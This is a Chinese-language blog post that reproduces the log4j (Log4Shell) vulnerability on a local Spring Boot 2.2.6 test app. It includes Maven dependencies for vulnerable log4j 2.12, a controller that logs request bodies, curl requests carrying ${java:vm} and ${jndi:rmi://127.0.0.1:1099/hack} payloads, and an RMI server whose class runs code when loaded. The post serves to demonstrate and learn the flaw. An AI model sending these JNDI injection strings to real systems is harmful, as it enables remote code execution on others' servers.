log4j bug重现
最近出现的log4j漏洞,导致RNI远程调用问题,抱着好奇的心态来重现下。
环境搭建及测试代码
本文采用的是SpringBoot 2.2.6版本加一个RMI服务重现BUG,方式是通过在微服务工程里打log日志,以触发远程服务调用漏洞。
省略搭建微服务的过程,我使用的是社区版idea 2020.3.4,大家同样使用社区版的话,建议安装Spring assistant插件,可以很方便的搭建Springboot工程。
因为目前已经有了新版本的修复,这里建议大家使用Springboot2.2.6.RELEASE
版本,其中带的log4j版本是2.12
,这个版本是存在漏洞的哈。
项目依赖
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>2.2.6.RELEASE</version>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
<version>2.2.6.RELEASE</version>
</dependency>
log记录
之后可以创建你的测试接口了。一个简单的测试用例,用log来记录入参,并返回参数。
private static final Logger logger = LogManager.getLogger(TestLog4JController.class);
@PostMapping(value = "hack")
public Object testLog4J(@RequestBody String params) {
logger.info("params: {}",params);
return params;
}
打印JVM参数
先来打印一下jvm参数到控制台。通过${java:vm}
该参数在log中打印,log4j会将我们的jvm参数打印出来,这个问题不会导致严重的问题,但是可以让我们见识了log4j并不是简单的帮我们记录日志。
@request
curl --location --request POST 'http://127.0.0.1:8080/hack' \
--header 'Content-Type: application/json' \
--data-raw '{
"command":"${java:vm}"
}'
日志输出
2021-12-20 12:02:27.549 INFO 71326 --- [nio-8080-exec-1] c.a.l.c.TestLog4JController : params: {
"command":"Java HotSpot(TM) 64-Bit Server VM (build 25.231-b11, mixed mode)"
}
远程服务调用
接下来我们先来构建一个远程服务,之后通过打印log日志来发起远程调用。
RMI服务创建
public static void main(String[] args) {
try {
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
Reference reference = new Reference("com.away.log4j.impl.Execute",
"com.away.log4j.impl.Execute", null);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
System.out.println("service started");
registry.bind("hack", referenceWrapper);
} catch (RemoteException | NamingException | AlreadyBoundException e) {
e.printStackTrace();
}
}
public class Execute {
public Execute() {
System.out.println("Execute");
}
static {
// 代码执行到这里,表示RMI调用成功
System.out.println("freedom, can do anything!");
}
}
上面的程序是构建远程服务,当你打印log日志的时候,可以通过JNDI
发起一个远程调用,那么一旦服务调用发起,我们的程序就很可能遭受意外的攻击。
调用示例:
@request
curl --location --request POST 'http://127.0.0.1:8080/hack' \
--header 'Content-Type: application/json' \
--data-raw '{
"command":"${jndi:rmi://127.0.0.1:1099/hack}"
}'
结果输出:
以上是一个简单的调用示例,通过RMI调用到目标主机,并实例化一段代码。可想而知,我们平时只是打印一个普通日志,却引来这么严重的问题,真的是不可思议。